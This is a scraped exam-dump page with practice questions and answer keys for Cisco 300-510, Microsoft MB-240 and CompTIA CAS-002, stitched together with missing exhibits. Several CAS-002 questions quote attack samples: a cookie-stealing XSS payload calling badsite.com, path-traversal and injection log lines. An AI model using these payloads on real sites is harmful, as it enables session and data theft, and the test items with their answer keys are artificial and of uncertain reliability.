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Implementing Cisco Service Provider Advanced Routing Solutions (300-510 SPRI)

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Cisco Certification preparation material for 300-510 exam

Latest Cisco 300-510 Practice Test Questions

Just Like the Real 300-510 Test

QUESTION 1
Which output from the show isis interface command helps an engineer troubleshoot an IS-IS adjacency problem on a
Cisco IOS-XR platform?
A. metric
B. priority
C. circuit type
D. hello interval
Correct Answer: D

QUESTION 2
Referring to the topology diagram show in the exhibit, which three statements are correct regarding the BGP routing
updates? (Choose three.)

Pass4itsure 300-510 exam questions-q2

A. The EBGP routing updates received by R1 from R5 will be propagated to the R2, R4, and R7 routers
B. The EBGP routing updates received by R3 from R6 will be propagated to the R2 and R4 routers
C. The EBGP routing updates received by R1 from R5 will be propagated to the R2 and R4 routers
D. The IBGP routing updates received by R3 from R2 will be propagated to the R6 router
E. The IBGP routing updates received by R2 from R1 will be propagated to the R3 router
F. The IBGP routing updates received by R1 from R4 will be propagated to the R5, R7, and R2 routers
Correct Answer: ABD

QUESTION 3

Pass4itsure 300-510 exam questions-q3

Refer to the exhibit. CE1 is the gateway router into the provider network via PE1. A network operator must inject a
default route into OSPF area 0. All devices inside area 0 must be able to reach PE1. Which configuration achieves this
goal?

Pass4itsure 300-510 exam questions-q3-2

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: C
Reference: https://www.cisco.com/c/en/us/support/docs/ip/open-shortest-path-first-ospf/47868-ospfdb9.html

QUESTION 4
Which two characteristics unique to SSM when compared to ASM are true? (Choose two.)
A. It uses SPT switchover
B. It uses (*,G) exclusively
C. It uses IGMPv3
D. It uses RP
E. It uses (S,G) exclusively
Correct Answer: CE

QUESTION 5
A network engineer is troubleshooting OSPF multiarea. Which Cisco IOS XR feature should the engineer use in order to
streamline OSPF issue?
A. hierarchical CLI
B. DR support for topology management
C. routing process enabled by default on all interfaces
D. show ip ospf topology command
Correct Answer: A
 Reference: https://www.cisco.com/c/en/us/td/docs/routers/xr12000/software/xr12k_r4-0/routing/configuration/guide/rc40xr12k_chapter4.html#con_1059437

QUESTION 6
DRAG DROP
Compare different features between OSPFv2 and OSPFv3. Drag and drop the descriptions of OSPF from the left onto
the correct OSPF versions on the right.
Select and Place:

Pass4itsure 300-510 exam questions-q6

Correct Answer:

Pass4itsure 300-510 exam questions-q6-2

QUESTION 7

Pass4itsure 300-510 exam questions-q7

Refer to the exhibit. P1 and PE3 Cisco IOS XR routers are directly connected and have this configuration applied. The
BGP session is not coming up. Assume that there is no IP reachability problem and both routers can open tcp port 179
to each other.
Which action fixes the issue?
A. Change HMAC-MD5 to HMAC-SHA1-20
B. Configure the send and accept lifetime under key 1
C. Change HMAC-MD5 to MD5
D. Change HMAC-MD5 to HMAC-SHA1-12
Correct Answer: B

QUESTION 8
Refer to the exhibit.

Pass4itsure 300-510 exam questions-q8

Which three statements are correct regarding the Cisco IOS-XR configuration? (Choose three.)
A. This router, acting as the RP mapping agent, will send RP announcement messages to the 224.0.1.40 group
B. This router, acting as the RP mapping agent, will send RP discovery messages to the 224.0.1.39 group
C. This router is the RP mapping agent only for the 224.11.11.11 and 224.99.99.99 multicast groups
D. This router is a candidate PIM-SM RP for the 224.99.99.99 multicast group
E. This router is a candidate PIM-BIDIR RP for the 224.11.11.11 multicast group
F. IGMPv3 is enabled on all interfaces
G. Other routers will recognize this router as the RP for all multicast groups with this router loopback 0 IP address
Correct Answer: DEF

QUESTION 9
Which protocol can be used to secure multicast in a group multicast solution where group key management is needed
for secure key exchange?
A. DOI
B. ISAKMP
C. GDOI
D. IPsec
Correct Answer: C

QUESTION 10

Pass4itsure 300-510 exam questions-q10

Refer to the exhibit. After troubleshooting an OSPF adjacency issue, routers 1, 2, and 3 have formed OSPF neighbor
relationships. Which statement about the configuration is true?
A. Router 2 receives a Type 5 LSAs from router 1 for its connected subnets
B. Router 2 uses router 3 as the next hop for 192.168.0.0/24
C. Router 2 uses router 1 as the next hop for 192.168.0.0/24
D. Router 2 receives a Type 7 LSAs from router 3 for its connected subnets
Correct Answer: A

QUESTION 11
You have configured routing policies on a Cisco IOS XR device with routing policy language.
Which two statements about the routing policies are true? (Choose two.)
A. The routing policies affect BGP-related routes only.
B. If you make edits to an existing routing policy without pasting the full policy into the CLI, the previous policy is
overwritten.
C. You can change an existing routing policy by editing individual statements.
D. The routing policies are implemented in a sequential manner.
E. The routing policies are implemented using route maps.
Correct Answer: CD

QUESTION 12
Refer to the exhibit. Which LSA type is indicated by this router output?

Pass4itsure 300-510 exam questions-q12

A. type 3 LSA
B. type 4 LSA
C. type 1 LSA
D. type 2 LSA
Correct Answer: C

QUESTION 13

Pass4itsure 300-510 exam questions-q13

Refer to the exhibit. After you applied these configurations to routers R1 and R2, the two devices could not form a
neighbor relationship. Which reason for the problem is the most likely?
A. The two routers cannot authenticate with one another.
B. The two routers have the same area ID.
C. The two routers have the same network ID.
D. The two routers have different IS-types.
Correct Answer: C

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Passing any Microsoft MB-240 Exam is not rocket science. I detail (almost) everything you want to know about the Microsoft MB-240 exam in this blog post.100% Free Updated Microsoft MB–240 Questions & Answers.https://www.pass4itsure.com/mb-240.html latest MB-240 exam dumps in PDF.

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Exam MB-240: Microsoft Dynamics 365 Field Service measures your ability to accomplish the following technical tasks: configure field service applications; manage work orders; schedule and dispatch work orders; manage field service mobility; manage inventory and purchasing; and manage assets and agreements.

  • Configure field service applications (20-25%)
  • Manage work orders (15-20%)
  • Schedule and dispatch work orders (20-25%)
  • Manage field service mobility (10-15%)
  • Manage inventory and purchasing (10-15%)
  • Manage assets and agreements (10-15%)

https://docs.microsoft.com/en-us/learn/certifications/exams/mb-240

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MB-240 Free Exam Questions & Answers | practice

QUESTION 1
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to automatically
generate work orders based on agreements, and send invoices on a recurring basis by customer.
Solution: You implement the following configuration changes. 1) Create Agreement 2) Define Booking Setup 3) Create
Invoice Setup 4) Set Auto Generate Invoice = Yes 5) Populate Generate Agreement Invoices X Days in Advance
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 2
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create Business Closures.
5) Create Bookable Resources with Hourly Rates.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 3
The company has hired a new manager to set up and configure Field Service to automatically schedule work orders to
the most appropriate resource scheduling.
The manager is unable to optimize requirements and bookings related to work orders.
Which three settings are required? Each correct answer presents part of the solution.
A. Assign the Field Service-Administrator security role to the RSO user.
B. Add the RSO dispatcher role to a dispatcher.
C. Enable Resource Scheduling Optimization.
D. Set Connect to Maps as Yes.
E. Add RSO to the profile Field Service-Administrator.
Correct Answer: CDE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/rso-configuration

QUESTION 4
You are a Dynamics 365 for Field Service Mobile (FSM) customizer.
Technicians report that they are not seeing their Bookings in the FSM app.
You need to investigate why they cannot see their bookings.
What are three actions you must take to perform your investigation? Each correct answer presents a complete solution.
A. Check Drip Scheduling setting on the Bookable Resource.
B. Check sync filter on Bookable Resource Booking View.
C. Check if sync filter on Bookable Resource entity is too restrictive for offline mode.
D. Check that FSM app is synching to server.
E. Check if sync filter on Bookable Resource Booking entity is too restrictive for offline mode.
Correct Answer: ACE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/mobile-faq-bookings-notshowing

QUESTION 5
You are a Dynamics 365 for Field Service Mobile customizer.
Your mobile technicians indicate that when in offline mode, they do not have access to the same data set that is
available online. Offline mode contains less account and work order data, and users cannot see warehouses.
You need to determine which updates to make within the mobile project so that technicians can see the appropriate
information.
Which three actions should you choose? Each correct answer presents a complete solution.
A. Update Synchronization setting to Always Full Sync.
B. Update entity Sync Filter.
C. Update View filters.
D. Update the Max Sync Records setting.
E. Update the entity Mode to Online and Offline.
Correct Answer: BDE

QUESTION 6
You are onsite, working on a customer\\’s factory floor. You need to return tomorrow and replace a belt on the conveyor.
You look at the inventory in Warehouse 1, and there are 10 in stock. You pull the belt from stock and create an
inventory transfer record.
What are the two correct steps to complete the transfer? Each correct answer presents part of the solution.
A. Select the source warehouse, then select the destination warehouse.
B. Enter the quantity to transfer, then click transfer.
C. Enter the part number from the drop down, then click to transfer.
D. Select the From warehouse location, then select the To warehouse location.
Correct Answer: AB
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/create-inventorytransfer

QUESTION 7
Your company processes a large number of work orders each day. The company wants to ensure the high priority work orders are dealt with immediately.
You need to configure the schedule board so that bookings are easily visible to the dispatchers.
How can you configure Dynamics Field Services to increase booking visibility?
A. Configure a work order type for high priority issues, to help categorize high priority work order records.
B. Configure an Incident type for high priority incidents on work order records.
C. Configure the status color for a booking status record, to identify high priority work order records.
D. Configure a priority record to allow you to identify high priority work order records.
Correct Answer: C

QUESTION 8
You are a Dynamics 365 for Field Service Administrator.
You have a requirement to make a custom attribute “Contract Status” required and to not allow invalid data to be
entered in the attribute.
What are three ways that you can make an attribute required on a form within the Dynamics 365 for Field Service
Mobile App and ensure invalid data cannot be entered? Each correct answer presents a complete solution.
A. Create an OnSave rule, and display a message to the user if the specific field does not meet the required conditions.
B. Create an OnChange rule, and set a simple validation for a field to check whether the field contains data.
C. Create an Option Set with all possible options for the attribute.
D. Create an OnChange rule to highlight a field when it does not contain correct field data.
E. Create an OnSave rule to check any field\\’s data, but without highlighting the field when the condition is not met.
Correct Answer: ACE

QUESTION 9
You work for a recycling company that provides customers with large compactor units to collect their recyclable
materials. The compactor units are comprised of two separate components: a container to collect the recyclable
materials and a
separate component that compacts the recyclable materials to make them easier to transport.
These containers are expensive, and the components tend to break down frequently, requiring ongoing maintenance
and repairs.
You need to easily track the containers that your company has at each client location and maintain a service history for
each of the sub-components.
A. Configure the customer asset records hierarchically, and maintain service history at the sub-component level.
B. Configure the customer inventory records individually, in order to maintain the service history at the parent
component level.
C. Configure the customer inventory records in a hierarchy, and maintain service history at the sub-component level.
D. Configure the customer asset records hierarchically, and maintain service history at the service account level.
Correct Answer: A
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-set-upcustomer-assets

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create the Holiday Schedule.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 11
You are a Dynamics 365 for Field Service Administrator.
You need to add two compressor sub-components to one of the refrigerator customer assets, in the environment and
set up the sub-components for the customer asset.
What must you do to properly set up the assets?
A. Add the compressor sub-components as sub-assets on the refrigerator customer asset record.
B. Click View Hierarchy on the refrigerator customer asset record.
C. Set the Master Asset on the sub-components to the refrigerator Customer Asset record.
D. Add the compressor sub-components as customer asset records.
Correct Answer: A

QUESTION 12
You are a Dynamics 365 for Field Service Administrator and work for a manufacturing firm. You are receiving support
requests that field engineers are unable to see a custom area entitled “Parts Requests” within the Dynamics 365 Field
Service Mobile App.
You need to troubleshoot the Dynamics 365 for Field Service mobile app to ensure that the field engineers are able to
view the customizations created.
What are the three steps you can take to troubleshoot the issue reported? Each correct answer presents a complete
solution.
A. Ensure that the Dynamics Mobile solution with the appropriate customizations has been published.
B. Synchronize the Dynamics 365 for Field Service Mobile App.
C. Ensure that a security role has been assigned to the project.
D. Verify that the impacted field engineers are enabled to use this project.
E. Ensure that the Woodford project with the appropriate customizations has been published.
Correct Answer: BCE

QUESTION 13
You are a Dynamics 365 for Field Service administrator for a construction company.
You need to schedule a work order for a group of resources that will work together for a set number of days, week, or
months.
How should you achieve the goal without scheduling the same requirements multiple times manually by using the
schedule board (or with the schedule assistant)?
A. Use Facility Scheduling
B. Use Multi-Resource Scheduling
C. Use Resource Crew Scheduling
D. Use Universal Resource Scheduling
Correct Answer: B
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/multi-resourcescheduling-requirement-groups

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About the CAS-002 exam:

The CompTIA Advanced Security Practitioner certification validates advanced-level competency in risk management; enterprise security
operations and architecture; research and collaboration; and integration of enterprise security. Successful candidates will have
the knowledge required to:

Enterprise Security domain expanded to include operations and architecture concepts, techniques, and requirements
More emphasis on analyzing risk through interpreting trend data and anticipating cyber defense needs to meet business goals
Expanding security control topics to include Mobile and small form factor devices, as well as software vulnerability
Broader coverage of integrating cloud and virtualization technologies into a secure enterprise architecture
Inclusion of implementing cryptographic techniques, such as Blockchain- Cryptocurrency and Mobile device encryption
The new CompTIA CASP CAS-003 exam is available as of April 2, 2018.

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QUESTION 1
A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate
the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO’s requirement?
A. GRC
B. IPS
C. CMDB
D. Syslog-ng
E. IDS
Correct Answer: A
Explanation

QUESTION 2
Due to a new regulatory requirement, ABC Company must now encrypt all WAN transmissions. When speaking with the network administrator, the security administrator learns that the existing routers have the minimum processing power to
do the required level of encryption. Which of the following solutions minimizes the performance impact on the router?
A. Deploy inline network encryption devices
B. Install an SSL acceleration appliance
C. Require all core business applications to use encryption
D. Add an encryption module to the router and configure IPSec
Correct Answer: A
Explanation

QUESTION 3
The source workstation image for new accounting PCs has begun blue-screening. A technician notices that the date/time stamp of the image source appears to have changed. The desktop support director has asked the Information Security
department to determine if any changes were made to the source image. Which of the following methods would BEST help with this process? (Select TWO).
A. Retrieve source system image from backup and run file comparison analysis on the two images.
B. Parse all images to determine if extra data is hidden using steganography.
C. Calculate a new hash and compare it with the previously captured image hash.
D. Ask desktop support if any changes to the images were made.
E. Check key system files to see if date/time stamp is in the past six months.
Correct Answer: AC
Explanation

QUESTION 4
The risk manager is reviewing a report which identifies a requirement to keep a business critical legacy system operational for the next two years. The legacy system is out of support because the vendor and security patches are no longer
released. Additionally, this is a proprietary embedded system and little is documented and known about it. Which of the following should the Information Technology department implement to reduce the security risk from a compromise of this
system?
A. Virtualize the system and migrate it to a cloud provider.
B. Segment the device on its own secure network.
C. Install an antivirus and HIDS on the system.
D. Hire developers to reduce vulnerabilities in the code.
Correct Answer: B
Explanation

QUESTION 5
An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-
party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via
the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select
THREE).
A. Implement hashing of data in transit
B. Session recording and capture
C. Disable cross session cut and paste
D. Monitor approved credit accounts
E. User access audit reviews
F. Source IP whitelisting
Correct Answer: CEF
Explanation

QUESTION 6
The technology steering committee is struggling with increased requirements stemming from an increase in telecommuting. The organization has not addressed telecommuting in the past. The implementation of a new SSL-VPN and a VOIP
phone solution enables personnel to work from remote locations with corporate assets. Which of the following steps must the committee take FIRST to outline senior management’s directives?
A. Develop an information classification scheme that will properly secure data on corporate systems.
B. Implement database views and constrained interfaces so remote users will be unable to access PII from personal equipment.
C. Publish a policy that addresses the security requirements for working remotely with company equipment.
D. Work with mid-level managers to identify and document the proper procedures for telecommuting.
Correct Answer: C
Explanation

QUESTION 7
A security engineer is responsible for monitoring company applications for known vulnerabilities. Which of the following is a way to stay current on exploits and information security news?
A. Update company policies and procedures
B. Subscribe to security mailing lists
C. Implement security awareness training
D. Ensure that the organization vulnerability management plan is up-to-date
Correct Answer: B
Explanation

QUESTION 8
A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing
maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider’s relationship?
A. Memorandum of Agreement
B. Interconnection Security Agreement
C. Non-Disclosure Agreement
D. Operating Level Agreement
Correct Answer: B
Explanation

QUESTION 9
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 10
The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configurationprocesses, and support incident reconstruction. Which of the following designs BEST supports the given requirements?
A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.
B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.
C. A SaaS based firewall which logs to the company’s local storage via SSL, and is managed by the change control team.
D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.
Correct Answer: A
Explanation

QUESTION 11
Which of the following provides the BEST risk calculation methodology?
A. Annual Loss Expectancy (ALE) x Value of Asset
B. Potential Loss x Event Probability x Control Failure Probability
C. Impact x Threat x Vulnerability
D. Risk Likelihood x Annual Loss Expectancy (ALE)
Correct Answer: B
Explanation

QUESTION 12
Ann, a systems engineer, is working to identify an unknown node on the corporate network. To begin her investigative work, she runs the following nmap command string:
[email protected]:~$ sudo nmap -O 192.168.1.54
Based on the output, nmap is unable to identify the OS running on the node, but the following ports are open on the device:
TCP/22
TCP/111
TCP/512-514
TCP/2049
TCP/32778
Based on this information, which of the following operating systems is MOST likely running on the unknown node?
A. Linux
B. Windows
C. Solaris
D. OSX
Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 13
A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST
important?
A. Insecure direct object references, CSRF, Smurf
B. Privilege escalation, Application DoS, Buffer overflow
C. SQL injection, Resource exhaustion, Privilege escalation
D. CSRF, Fault injection, Memory leaks
Correct Answer: A
Explanation

QUESTION 14
A company sales manager received a memo from the company’s financial department which stated that the company would not be putting its software products through the same security testing as previous years to reduce the research and
development cost by 20 percent for the upcoming year. The memo also stated that the marketing material and service level agreement for each product would remain unchanged. The sales manager has reviewed the sales goals for the
upcoming year and identified an increased target across the software products that will be affected by the financial department’s change. All software products will continue to go through new development in the coming year. Which of the
following should the sales manager do to ensure the company stays out of trouble?
A. Discuss the issue with the software product’s user groups
B. Consult the company’s legal department on practices and law
C. Contact senior finance management and provide background information
D. Seek industry outreach for software practices and law
Correct Answer: B
Explanation

QUESTION 15
The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an
account with SELECT only privileges.
Web server logs show the following:
90.76.165.40 — [08/Mar/2014:10:54:04] “GET calendar.php?create%20table%20hidden HTTP/1.1” 200 5724
90.76.165.40 — [08/Mar/2014:10:54:05] “GET ../../../root/.bash_history HTTP/1.1” 200 90.76.165.40 ?- [08/Mar/2014:10:54:04] “GET index.php?user<;scrip>;Creat<;/scrip>; HTTP/1.1” 200 5724
The security administrator also inspects the following file system locations on the database server using the command `ls -al /root’
drwxrwxrwx 11 root root 4096 Sep 28 22:45 .
drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..
-rws—— 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .profile
-rw——- 25 root root 4096 Mar 8 09:30 .ssh
Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).
A. Privilege escalation
B. Brute force attack
C. SQL injection
D. Cross-site scripting
E. Using input validation, ensure the following characters are sanitized: <>
F. Update crontab with: find / \( -perm -4000 \) –type f –print0 | xargs -0 ls –l | email.sh
G. Implement the following PHP directive: $clean_user_input = addslashes($user_input)
H. Set an account lockout policy
Correct Answer: AF
Explanation
Explanation/Reference:

QUESTION 16
A member of the software development team has requested advice from the security team to implement a new secure lab for testing malware. Which of the following is the NEXT step that the security team should take?
A. Purchase new hardware to keep the malware isolated.
B. Develop a policy to outline what will be required in the secure lab.
C. Construct a series of VMs to host the malware environment.
D. Create a proposal and present it to management for approval.
Correct Answer: D
Explanation

QUESTION 17
Company XYZ provides cable television service to several regional areas. They are currently installing fiber-to-the-home in many areas with hopes of also providing telephone and Internet services. The telephone and Internet services
portions of the company will each be separate subsidiaries of the parent company. The board of directors wishes to keep the subsidiaries separate from the parent company. However all three companies must share customer data for the
purposes of accounting, billing, and customer authentication. The solution must use open standards, and be simple and seamless for customers, while only sharing minimal data between the companies. Which of the following solutions is
BEST suited for this scenario?
A. The companies should federate, with the parent becoming the SP, and the subsidiaries becoming an IdP.
B. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SSP.
C. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SP.
D. The companies should federate, with the parent becoming the ASP, and the subsidiaries becoming an IdP.
Correct Answer: C
Explanation

QUESTION 18
The Chief Information Security Officer (CISO) at a company knows that many users store business documents on public cloud-based storage, and realizes this is a risk to the company. In response, the CISO implements a mandatory training
course in which all employees are instructed on the proper use of cloud-based storage. Which of the following risk strategies did the CISO implement?
A. Avoid
B. Accept
C. Mitigate
D. Transfer
Correct Answer: C
Explanation

QUESTION 19
A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-of-concept details have emerged on the Internet. A
security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond?
A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data. Attempt to exploit via the proof-of-concept code. Consider remediation options.
B. Hire an independent security consulting agency to perform a penetration test of the web servers. Advise management of any `high’ or `critical’ penetration test findings and put forward recommendations for mitigation.
C. Review vulnerability write-ups posted on the Internet. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software.
D. Notify all customers about the threat to their hosted data. Bring the web servers down into “maintenance mode” until the vulnerability can be reliably mitigated through a vendor patch.
Correct Answer: A
Explanation

QUESTION 20
A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement
is BEST described as an implementation of:
A. an administrative control
B. dual control
C. separation of duties
D. least privilege
E. collusion
Correct Answer: C
Explanation

QUESTION 21
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor
corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?
A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates.
B. Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs.
C. Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs.
D. Behavior based IPS with a communication link to a cloud based vulnerability and threat feed.
Correct Answer: D
Explanation

QUESTION 22
An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the
following options increases data availability in the event of a datacenter failure?
A. Replicate NAS changes to the tape backups at the other datacenter.
B. Ensure each server has two HBAs connected through two routes to the NAS.
C. Establish deduplication across diverse storage paths.
D. Establish a SAN that replicates between datacenters.
Correct Answer: D
Explanation

QUESTION 23
A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral
devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).
A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.
B. A DLP gateway should be installed at the company border.
C. Strong authentication should be implemented via external biometric devices.
D. Full-tunnel VPN should be required for all network communication.
E. Full-drive file hashing should be implemented with hashes stored on separate storage.
F. Split-tunnel VPN should be enforced when transferring sensitive data.
Correct Answer: BD
Explanation

QUESTION 24
An organization would like to allow employees to use their network username and password to access a third-party service. The company is using Active Directory Federated Services for their directory service. Which of the following should
the company ensure is supported by the third-party? (Select TWO).
A. LDAP/S
B. SAML
C. NTLM
D. OAUTH
E. Kerberos
Correct Answer: BE
Explanation

QUESTION 25
A mature organization with legacy information systems has incorporated numerous new processes and dependencies to manage security as its networks and infrastructure are modernized. The Chief Information Office has become
increasingly frustrated with frequent releases, stating that the organization needs everything to work completely, and the vendor should already have those desires built into the software product. The vendor has been in constant
communication with personnel and groups within the organization to understand its business process and capture new software requirements from users. Which of the following methods of software development is this organization’s
configuration management process using?
A. Agile
B. SDL
C. Waterfall
D. Joint application development
Correct Answer: A
Explanation

QUESTION 26
Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due
to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?
A. Integer overflow
B. Click-jacking
C. Race condition
D. SQL injection
E. Use after free
F. Input validation
Correct Answer: E
Explanation

QUESTION 27
A forensic analyst works for an e-discovery firm where several gigabytes of data are processed daily. While the business is lucrative, they do not have the resources or the scalability to adequately serve their clients. Since it is an e-discovery
firm where chain of custody is important, which of the following scenarios should they consider?
A. Offload some data processing to a public cloud
B. Aligning their client intake with the resources available
C. Using a community cloud with adequate controls
D. Outsourcing the service to a third party cloud provider
Correct Answer: C
Explanation

QUESTION 28
select id, firstname, lastname from authors
User input= firstname= Hack;man
lastname=Johnson
Which of the following types of attacks is the user attempting?
A. XML injection
B. Command injection
C. Cross-site scripting
D. SQL injection
Correct Answer: D
Explanation

QUESTION 29
A network administrator with a company’s NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company’s physical security, which of the following can the network administrator use to detect the
presence of a malicious actor physically accessing the company’s network or information systems from within? (Select TWO).
A. RAS
B. Vulnerability scanner
C. HTTP intercept
D. HIDS
E. Port scanner
F. Protocol analyzer
Correct Answer: DF
Explanation

QUESTION 30
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is
resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?
A. Agile
B. Waterfall
C. Scrum
D. Spiral
Correct Answer: B
Explanation

QUESTION 31
Which of the following BEST constitutes the basis for protecting VMs from attacks from other VMs hosted on the same physical platform?
A. Aggressive patch management on the host and guest OSs.
B. Host based IDS sensors on all guest OSs.
C. Different antivirus solutions between the host and guest OSs.
D. Unique Network Interface Card (NIC) assignment per guest OS.
Correct Answer: A
Explanation

QUESTION 32
The Chief Executive Officer (CEO) of a company that allows telecommuting has challenged the Chief Security Officer’s (CSO) request to harden the corporate network’s perimeter. The CEO argues that the company cannot protect its
employees at home, so the risk at work is no different. Which of the following BEST explains why this company should proceed with protecting its corporate network boundary?
A. The corporate network is the only network that is audited by regulators and customers.
B. The aggregation of employees on a corporate network makes it a more valuable target for attackers.
C. Home networks are unknown to attackers and less likely to be targeted directly.
D. Employees are more likely to be using personal computers for general web browsing when they are at home.
Correct Answer: B
Explanation

QUESTION 33
An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials?
A. Ensure the SaaS provider supports dual factor authentication.
B. Ensure the SaaS provider supports encrypted password transmission and storage.
C. Ensure the SaaS provider supports secure hash file exchange.
D. Ensure the SaaS provider supports role-based access control.
E. Ensure the SaaS provider supports directory services federation.
Correct Answer: E
Explanation

QUESTION 34
A security manager has received the following email from the Chief Financial Officer (CFO):
“While I am concerned about the security of the proprietary financial data in our ERP application, we have had a lot of turnover in the accounting group and I am having a difficult time meeting our monthly performance targets. As things
currently stand, we do not allow employees to work from home but this is something I am willing to allow so we can get back on track. What should we do first to securely enable this capability for my group?”
Based on the information provided, which of the following would be the MOST appropriate response to the CFO?
A. Remote access to the ERP tool introduces additional security vulnerabilities and should not be allowed.
B. Allow VNC access to corporate desktops from personal computers for the users working from home.
C. Allow terminal services access from personal computers after the CFO provides a list of the users working from home.
D. Work with the executive management team to revise policies before allowing any remote access.
Correct Answer: D
Explanation

QUESTION 35
A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” + request.getParameter(‘><script>document.location=’http://badsite.com/?q=’document.cooki e</script>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server.
Which of the following should the security administrator implement to prevent this particular attack?
A. WAF
B. Input validation
C. SIEM
D. Sandboxing
E. DAM
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 36
An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?
A. Review switch and router configurations
B. Review the security policies and standards
C. Perform a network penetration test
D. Review the firewall rule set and IPS logs
Correct Answer: B
Explanation

QUESTION 37
